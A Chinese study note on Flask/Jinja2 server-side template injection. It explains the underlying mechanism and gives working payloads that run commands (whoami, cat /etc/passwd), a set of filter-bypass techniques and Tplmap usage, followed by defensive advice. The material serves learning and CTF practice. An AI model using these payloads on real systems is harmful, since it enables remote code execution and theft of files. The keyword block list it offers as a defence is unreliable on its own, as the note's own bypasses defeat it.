模板注入漏洞(SSTI)学习笔记

模板注入漏洞(SSTI)学习笔记


1. 模板注入简介

什么是模板引擎?

模板引擎用于将动态数据渲染到静态页面(如 HTML)。例如,Jinja2(Python)、Twig(PHP)等。
示例:

python 复制代码
# Flask中使用Jinja2渲染模板
from flask import render_template
@app.route('/')
def index():
    user_input = request.args.get('name')
    return render_template('index.html', name=user_input)

如果用户输入{``{7*7}},且页面显示49,说明存在SSTI漏洞。


2. 漏洞原理

魔术方法(Magic Methods)

  • __class__:返回对象的类。

    python 复制代码
    "".__class__  # 返回 <class 'str'>
  • __bases__:返回类的基类。

    python 复制代码
    "".__class__.__bases__  # 返回 (<class 'object'>,)
  • __subclasses__():返回类的所有子类。

    python 复制代码
    "".__class__.__bases__[0].__subclasses__()  # 返回 object 的所有子类

攻击流程

  1. 检测漏洞 :输入{``{7*7}},若返回49则存在漏洞。
  2. 找到基类 :通过字符串对象找到object类。
  3. 遍历子类 :寻找包含危险功能的子类(如os._wrap_close)。
  4. 执行命令:调用子类的方法执行系统命令。

3. 漏洞利用示例(Python3)

Payload 1:读取文件

python 复制代码
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
  • 执行原理 :
    1. "".__class__ → <class 'str'>
    2. __bases__[0] → <class 'object'>
    3. __subclasses__()[128] → 找到os._wrap_close类
    4. __init__.__globals__ → 获取全局变量(包含os模块)
    5. popen('cat /etc/passwd').read() → 执行命令并读取结果。

Payload 2:利用循环执行命令

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}
  • 执行原理 :
    遍历所有子类,找到_wrap_close类,调用eval执行系统命令。

4. 绕过技巧(示例)

绕过.符号

使用[]或attr()过滤器:

python 复制代码
{{ ""["__class__"] }}          # 等价于 "".__class__
{{ ""|attr("__class__") }}     # 使用过滤器

绕过中括号[]

使用__getitem__方法:

python 复制代码
{{ "".__class__.__bases__.__getitem__(0) }}  # 等价于 __bases__[0]

绕过引号

用request.args传递参数:

python 复制代码
{{ url_for.__globals__[request.args.a] }}&a=__builtins__
  • 通过URL参数a传递__builtins__,避免直接使用引号。

5. 绕过技巧(续)

绕过数字

如果数字被过滤,可以通过count方法生成数字:

python 复制代码
{{ (dict(e=a)|join|count) }}  # 返回 1
  • 执行原理 :
    dict(e=a)生成一个字典,join将其转换为字符串,count计算字符串长度(1)。

绕过关键字

如果class、base等关键字被过滤,可以通过join拼接绕过:

python 复制代码
{{ dict(__in=a,it__=a)|join }}  # 返回 __init__
  • 执行原理 :
    通过字典拼接生成__init__字符串。

绕过{``{和}}

如果{``{被过滤,可以使用{% %}语法:

python 复制代码
{% print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()) %}
  • 执行原理 :
    使用{% %}代替{``{ }},直接执行命令并输出结果。

6. 实际案例解析

案例 1:Flask 模板注入

假设一个 Flask 应用渲染用户输入:

python 复制代码
@app.route('/')
def index():
    user_input = request.args.get('name')
    return render_template_string(f"Hello, {user_input}!")
  • 攻击步骤 :
    1. 输入{``{7*7}},页面显示Hello, 49!,确认存在漏洞。

    2. 使用以下 Payload 执行命令:

      python 复制代码
      {{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() }}
    3. 页面返回当前用户(如root)。

案例 2:绕过过滤

假设应用过滤了.和[],可以使用attr和__getitem__绕过:

python 复制代码
{{ ""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")() }}
  • 执行原理 :
    通过attr过滤器逐步获取__class__、__bases__等属性,最终找到子类。

7. 防护措施

1. 避免用户控制模板内容

  • 错误示例 :

    python 复制代码
    render_template_string(f"Hello, {user_input}!")
  • 正确示例 :

    python 复制代码
    render_template('index.html', name=user_input)

2. 使用安全的模板渲染方法

  • 避免直接拼接用户输入到模板中。
  • 使用模板引擎提供的安全渲染方法。

3. 过滤关键词

  • 过滤{``{、}}、__class__、__bases__等关键词。

  • 示例:

    python 复制代码
    if any(keyword in user_input for keyword in ["__class__", "__bases__", "{{", "}}"]):
        return "Invalid input!"

4. 配置防火墙

  • 使用 WAF(Web 应用防火墙)拦截恶意请求。

8. 总结
  • 漏洞本质:用户输入被直接拼接到模板中,导致恶意代码执行。
  • 攻击核心 :利用魔术方法(如__class__、__bases__)找到危险类并执行命令。
  • 防护关键:避免用户控制模板内容,过滤关键词,使用安全的渲染方法。

9. 实际案例解析(续)

案例 3:绕过复杂过滤

假设应用过滤了{``{、}}、.、[]、__class__等关键词,可以通过以下方式绕过:

  1. 使用request.args传递参数:

    python 复制代码
    {{ url_for.__globals__[request.args.a] }}&a=__builtins__
    • 执行原理 :
      通过URL参数a传递__builtins__,避免直接使用关键词。
  2. 使用request.cookies绕过:

    python 复制代码
    {{ url_for.__globals__[request.cookies.a] }}
    • Cookie设置 :

      http 复制代码
      Cookie: a=__builtins__
  3. 使用十六进制编码绕过:

    python 复制代码
    {{ ()["\x5f\x5fclass\x5f\x5f"] }}  # 等价于 ().__class__

10. 工具使用

1. Tplmap

  • 功能:自动化检测和利用 SSTI 漏洞。

  • 使用示例 :

    bash 复制代码
    tplmap -u http://example.com/?name=test
  • 输出 :
    检测是否存在漏洞,并自动生成 Payload。

2. Burp Suite

  • 功能:手动测试 SSTI 漏洞。
  • 步骤 :
    1. 发送请求并观察响应。
    2. 使用 Payload 测试漏洞。
    3. 利用漏洞执行命令或读取文件。

11. 进阶技巧

1. 利用config对象
config对象包含应用的配置信息,可以通过它执行命令:

python 复制代码
{{ config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
  • 执行原理 :
    通过config对象的__globals__属性访问__builtins__,调用eval执行命令。

2. 利用url_for函数
url_for是 Flask 中的全局函数,可以通过它访问__builtins__:

python 复制代码
{{ url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

3. 利用request对象
request对象包含请求信息,可以通过它绕过过滤:

python 复制代码
{{ request.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

12. 总结与建议

1. 漏洞危害

  • 读取敏感文件(如/etc/passwd)。
  • 执行任意系统命令(如whoami、cat /flag)。
  • 获取服务器权限。

2. 防护建议

  • 输入过滤:严格过滤用户输入,禁止特殊字符和关键词。
  • 模板渲染:使用安全的模板渲染方法,避免直接拼接用户输入。
  • 安全配置:配置防火墙,限制敏感函数和模块的访问。

3. 学习资源

  • CTF 题目:练习 SSTI 相关的 CTF 题目(如 Flask SSTI)。
  • 工具使用:熟悉 Tplmap、Burp Suite 等工具。
  • 代码审计:学习常见模板引擎的源码,理解其工作原理。

13. 示例代码解析

示例 1:读取文件

python 复制代码
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
  • 执行步骤 :
    1. 找到str类的基类object。
    2. 遍历object的子类,找到os._wrap_close。
    3. 调用popen执行命令并读取结果。

示例 2:绕过过滤

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}
  • 执行步骤 :
    1. 遍历object的子类,找到_wrap_close。
    2. 调用eval执行系统命令。

相关推荐
91刘仁德19 分钟前
HTTP协议详解:从URL到HTTP服务器的完整实战
服务器·网络·笔记·网络协议·http
sunshine22 girl1 小时前
Java学习六 Java常见API-2--String-3-字符串的截取替换和其他方法
java·开发语言·学习
sunshine22 girl2 小时前
Java学习六 Java常见API-1-Radom随机数
java·开发语言·学习
Answer1st3 小时前
【嵌入式学习】嵌入式原理知识-DMA(九)
学习
柳鲲鹏3 小时前
老电脑X99安装WIN11 26H2总结、问题解决办法汇总
笔记
传奇开心果编程3 小时前
【ArkUI进阶练中学】第11课:安全与合规进阶
学习·ui·华为·harmonyos
花青泽4 小时前
子域名基础04_DNS数据与记录
web安全
Mr_Macallon5 小时前
C++回顾(基础)(01)
c语言·开发语言·c++·学习
hasty5 小时前
2026-10-04_ABSENTIA鉴权不变量审计_CSDN_待发布
安全
sunoo-2296 小时前
【ARM嵌入式学习笔记第十天】i.MX6ULL eLCDIF控制器驱动RGB LCD全解析(硬件原理+寄存器配置+裸机代码)
arm开发·笔记·学习